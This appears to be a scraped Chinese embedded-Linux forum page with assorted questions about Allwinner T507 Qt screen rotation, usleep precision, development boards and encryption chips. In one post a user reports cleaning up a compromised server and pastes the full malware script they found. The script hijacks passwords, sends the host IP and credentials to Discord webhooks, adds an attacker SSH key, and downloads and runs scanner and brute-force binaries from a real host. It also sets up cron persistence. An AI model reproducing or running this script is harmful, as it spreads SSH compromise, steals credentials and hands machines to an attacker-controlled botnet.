页次: 1
T507使用了代理商提供的SDK,编译出来的qt无法旋转屏幕(设置 export QT_QPA_EGLFS_ROTATION=180)
但是使用某开发板的可以qt程序可以旋转屏幕(设置 export QT_QPA_EGLFS_ROTATION=180)
qt版本都是5.12.5.
qt修改什么地方可以实现旋转屏幕?或者修改内核可以旋转屏幕?
Flythings是收费的?
哪里有50块的开发板?
linux现在采用hrtimer进行定时器管理,没用像RTOS一样使用tick作为时间基准了
hrtimer是ns级精度的,不受tick限制
理解了,查了资料,确实是这样 https://blog.csdn.net/weixin_42262944/article/details/107585320
T507的内核配置也确实打开了CONFIG_HIGH_RES_TIMERS选项
一般是使用usleep来休眠一段实际,比如usleep(1000),是休眠1ms,但是休眠的精度与内核的最小时间单位有关系,内核编译通过CONFIG_HZ,发现当前T507是配置为CONFIG_HZ_300,按我的理解最新的时间单位为1000/300=3.3ms,因此usleep(1000),应该至少休眠了3.3ms,但是我打印了时间,发现usleep(1000)却是休眠了1ms,并不是3.3ms.
按我的认知 这是不可能的,是哪里出了问题,难道是因为T507是4核的,所以最小时间单位应该是3.3ms/4=0.825ms ?
睡眠不足 说:这是用什么写的UI?CPP还是QML呢?
64MB内存跑QML基本不可能。他这个是widget控件,而且应该是静态连接Qt。正常来说,128MB内存跑Qt都很吃力!
128M感觉跑qt已经挺流畅的了
感觉可能是扯蛋的,carlife这种要厂家来授权的,这样即使编译出来,还有激活这一关.如果需要弄这个,应该直接找carlife厂家,否则没意义
全志提供的tplayer接口,没有变速播放的接口,有什么思路来支持这个变速播放吗?
@xboot
chipid是efuse,那岂不是所有芯片的chipid都可以被修改成ffffff,那岂不是只要有ffffff设备的密钥或证书,就能全部运行了?
可能是qt编译时没包含sqlite相关的库吧
问了一圈,有人说单片机容易被破解,加密芯片很难被破解,搞得我有点打退堂鼓了....
你们的主芯片不是单片机吗?
主芯片是MPU吧,T113子类的全志芯片
想找个加密芯片,找了加密芯片厂家,我们量少,要2块左右,发现便宜的单片机才几毛.
比如九齐单片机便宜才1,2毛,stc也有1块以下的,特来请教,
用哪种单片机来做加密芯片比较合适呢?
飞凌的开发板就是个坑,sdk里把全志的很多东西都删除了,飞凌修改的代码不提供代码,如果你要改什么功能必须找他们来修改...
运行时,提示无法找到插件,当实际上是有的,有什么办法来排查是哪里的问题吗?
买贵的,时间比那点钱重要
就担心贵的不一定好
在淘宝上上看T507的开发板,发现有T507,T507-H 二者有什么区别吗?
把脚本里自动创建的定时任务删除了,账户密码修改了,目前还未发现异常
#!/bin/bash
#########################################################
#########################################################
cd /var/tmp/.update-logs >/dev/null 2>&1
sleep 1
curl --socks5 proxy:hypekebap@arhivehaceru.com:1080 discord.com
if [ $(id -u) = 0 ]; then
usermod -p '$1$RZY$KVZ7I.m2YqYQK87d3txab1' root
else
user=`whoami`
pass=`date +%s | sha256sum | base64 | head -c 8 ; echo`
ip=`curl ifconfig.me`
cores=`nproc`
echo -e "$user\n$pass\n$pass" | passwd ; echo -e "$user123\n$pass\n$pass" | passwd ; echo -e "$user123456\n$pass\n$pass" | passwd ; echo -e "123456\n$pass\n$pass" | passwd ; echo -e "123\n$pass\n$pass" | passwd ; echo -e "111111\n$pass\n$pass" | passwd ; echo -e "1qaz@WSX\n$pass\n$pass" | passwd ; echo -e "password\n$pass\n$pass" | passwd ; echo -e "P@ssw0rd\n$pass\n$pass" | passwd ; echo -e "1234567890\n$pass\n$pass" | passwd ; echo -e "1234567890\n$pass\n$pass" | passwd
echo '
{
"content": null,
"embeds": [
{
"title": "[ SSH ] Password has been changed",
"description": "[ IP ] '$ip'\n[+] [ User ] '$user' \n[+] [ Password ] '$pass' \n [+] [ Procesoare ] '$cores'",
"color": 1337
}
]
}
' > /tmp/.send.json
url='https://discord.com/api/webhooks/1048557019931607130/Uw-AJ_yDvDCYhmFUkjiGTgeLWX6QSPXmg8bc4u4tGyBlDZDq2QpXLSDeFpOynBAcjKxY'
curl --connect-timeout 15 -H "Content-Type: application/json" --data @/tmp/.send.json $url >/dev/null 2>&1
fi
#########################################################
#########################################################
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eDpgsTloqmVgcXDUmvjWR/fNiImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337' >> ~/.ssh/authorized_keys && chmod -R go= ~/.ssh
rm -rf /etc/sysctl.conf >/dev/null 2>&1 ; echo "fs.file-max = 2097152" > /etc/sysctl.conf >/dev/null 2>&1 ; sysctl -p >/dev/null 2>&1 ; ulimit -Hn >/dev/null 2>&1 ; ulimit -n 99999 -u 999999 >/dev/null 2>&1
if [ -f Chrome ]; then
:
else
wget -q arhivehaceru.com/.x/Chrome --no-check-certificate || curl -s -L -O arhivehaceru.com/.x/Chrome
chmod 777 Chrome
fi
if [ -f aliases ]; then
:
else
wget -q arhivehaceru.com/.x/aliases --no-check-certificate || curl -s -L -O arhivehaceru.com/.x/aliases
chmod 777 aliases
echo '
{
"content": null,
"embeds": [
{
"title": "",
"description": "Infected Secure Server Shell [ SSH ] on '$(curl ifconfig.me)'",
"color": 1337
}
]
}
' > /tmp/.send.json
url='https://discord.com/api/webhooks/1036225255049531422/qyOrT3SxHaOC-9yS2NQiPxlSMYmRFFIpU-rMKzmcDv9pQyP4uaZEiZXDXioUtf0DJLUB'
curl --connect-timeout 15 -H "Content-Type: application/json" --data @/tmp/.send.json $url >/dev/null 2>&1
fi
if [ -f protocols ]; then
:
else
echo 'YWRtaW4gMTIzNAphZG1pbiAxMjM0NTYKYWRtaW4gYWRtaW4KYWRtaW4gYWRtaW4xMjMKYWRtaW4gcGFzc3dvcmQKY2VudG9zIDEyMzQ1NgpjZW50b3MgY2VudG9zCmRlZmF1bHQgMQpndWVzdCBndWVzdApwaSBwaQpwaSByYXNwYmVycnkKZGViaWFudXNlciAxcWF6WFNXQApyb290IDEKcm9vdCAxMjMKcm9vdCAxMjM0NTYKcm9vdCAxMjM0NTY3ODkwCnJvb3QgQWExMjM0NTYKcm9vdCBhZG1pbgpyb290IHBhc3N3b3JkCnJvb3QgcEBzc3cwcmQKcm9vdCBQQHNzdzByZApyb290IHJvb3QKdGVzdCB0ZXN0CnVibnQgdWJudAp1c2VyIHVzZXIKcm9vdCBBZG1pbkAxMjMKdGVzdCAxMjM0NTYKdGVzdCB0ZXN0CmdpdCBnaXQKZ2l0IDEyMzQ1NgpndWVzdCBndWVzdAp1YnVudHUgdWJ1bnR1CnVidW50dSAxMjM0NTYKZ3Vlc3QgMTIzNDU2CnJvb3QgdG9vcgo=' | base64 -d > /var/tmp/.update-logs/protocols
fi
#########################################################
#########################################################
crontablegend() {
locatie="$(pwd)"
if ! crontab -l | grep -q 'Update'; then
rm -rf /var/tmp/.update-logs/.5p4rk3l5
echo "@daily /var/tmp/.update-logs/./Update" >> /var/tmp/.update-logs/.5p4rk3l5
sleep 1
echo "@reboot /var/tmp/.update-logs/./Update" >> /var/tmp/.update-logs/.5p4rk3l5
sleep 1
echo "* * * * * /var/tmp/.update-logs/./History" >> /var/tmp/.update-logs/.5p4rk3l5
sleep 1
echo "@monthly /var/tmp/.update-logs/./Update " >> /var/tmp/.update-logs/.5p4rk3l5
sleep 1
crontab /var/tmp/.update-logs/.5p4rk3l5
sleep 1
source ~/.bashrc >/dev/null 2>&1
rm -rf /var/tmp/.update-logs/.5p4rk3l5
fi
}
#########################################################
#########################################################
crontablegend
sleep 0.5
wait
#########################################################
#########################################################
RANGE=244
number=$RANDOM
number1=$RANDOM
let "number %= $RANGE"
let "number1 %= $RANGE"
./Chrome $number.$number1 22 > /dev/null 2>&1
sleep 1
cat bios.txt | sort | uniq > ips
cat ips > bios.txt
./aliases > /dev/null 2>&1
sleep 2
rm -rf bios.txt ips
pkill aliases
pkill -STOP aliases
pkill Chrome
pkill -STOP Chrome
sleep 3
./Update </dev/null &>/dev/null & disown -h %1
#########################################################
先了解下相关协议再继续调试
页次: 1